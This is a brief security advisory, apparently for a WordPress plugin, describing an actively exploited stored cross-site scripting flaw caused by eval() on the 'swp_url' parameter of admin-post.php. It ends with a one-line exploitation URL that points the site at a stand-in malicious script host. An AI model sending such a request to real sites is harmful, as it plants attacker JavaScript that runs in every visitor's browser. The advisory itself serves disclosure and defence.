Link to public exploit:

Vulnerability description

The vulnerability allows a remote attacker to perform cross-site scripting attacks.

The vulnerability exists due to usage of the eval() JavaScript call on data passed via the  "swp_url" HTTP GET parameter to "/wp-admin/admin-post.php" script, when "swp_debug" is set to "load_options", allowing to permanently inject and execute arbitrary JavaScript code on the website. A remote unauthenticated attacker can store a specially crafted JavaScript code into database and execute it in browser of every website visitor.

Note: this vulnerability is being actively exploited in the wild.

Exploitation example:

http://[host]/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://[malicious_js_script]/
